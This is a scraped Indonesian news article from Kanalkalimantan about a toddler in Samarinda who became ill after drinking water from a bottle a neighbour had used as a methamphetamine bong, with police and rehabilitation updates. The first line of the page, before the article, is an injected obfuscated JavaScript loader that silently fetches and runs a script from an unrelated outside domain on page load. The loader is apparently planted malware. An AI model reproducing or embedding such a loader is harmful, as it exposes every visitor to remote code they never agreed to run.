(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, SAMARINDA – Warga Kota Samarinda digegerkan dengan temuan kasus balita positif narkoba. Kasus tersebut menjadi viral, lantaran perilakunya yang berubah menjadi hiperaktif dan tidak bisa tidur selama beberapa hari.
Balita masih berusia tiag tahun yang diketahui berinisial N tersebut berbicara seperti sedang berhalusinasi setelah minum air dalam botol yang disinyalir pernah digunakan menjadi bong dari tetangganya.
Polisi memastikan hasil tes urine balita N (3) telah negatif sabu. Namun, untuk memaksimalkan proses pemulihan N rencananya akan menjalani masa rehabilitasi di Badan Narkotika Nasional Provinsi (BNNP) Kalimantan Timur.
Kapolresta Samarinda Kombes Ary Fadli menyebut pihaknya bersama perwakilan BNNP Kalimantan Timur telah menemui N untuk memastikan kondisinya pada Senin (12/6/2023) kemarin.
Baca juga: Pemasok Narkoba THM di Banjarmasin Dibekuk, 1 Kg Sabu dan 980 Butir Ekstasi Disita
“Kondisinya, Alhamdulillah sudah membaik. Tapi untuk memaksimalkan recovery akan dilakukan pemantauan langsung di balai rehab. Karena di sana ada dokter dan tenaga ahli yang berkompeten untuk pemulihan kondisinya,” kata Ary, Selasa (13/6/2023).
Ary tidak menyebut berapa lama N akan menjalani masa rehabilitasi di BNNP Kalimantan Timur. Ia hanya menyampaikan bahwa proses rehabilitasi akan dilakukan hingga kondisi korban benar-benar pulih.
“Sampai benar-benar pulih,” katanya.
Minum Air dari Botol Bekas Sabu
Polisi telah menetapkan ST sebagai tersangka usai memberi air dari botol bekas bong sabu kepada balita N. Ia dijerat Undang-Undang Narkotika dan Perlindungan Anak dengan hukuman maksimal 10 tahun penjara.
Baca juga: Banjir 2022 Berpengaruh Terhadap Penyerapan Belanja Daerah HSU
“Ancaman pidana minimal 5 tahun dan maksimal 10 tahun,” kata Kabid Humas Polda Kalimantan Timur (Kaltim), Kombes Pol Yusuf Sutejo kepada wartawan, Senin (12/6/2023).
Kasus balita N di Samarinda, Kalimantan Timur positif sabu ini terungkap setelah orangtua korban curiga dengan tingkah laku anaknya yang sulit tidur dan mendadak hiperaktif.
Yusuf menyebut tingkah laku korban berubah usai mengonsumsi air minum dari botol bekas bong sabu milik ST pada Selasa (7/6/2023) lalu. Tak hanya sulit tidur dan hiperaktif, korban menurut Yusuf juga tidak mau makan.
“Yang bersangkutan (ST) tidak mengira kalau kemasan air botol yang bekas dipakai bong airnya masih memiliki efek narkoba,” ungkap Yusuf. (Kanalkalimantan/Suara.com)
Editor : kk
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More
KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More
This website uses cookies.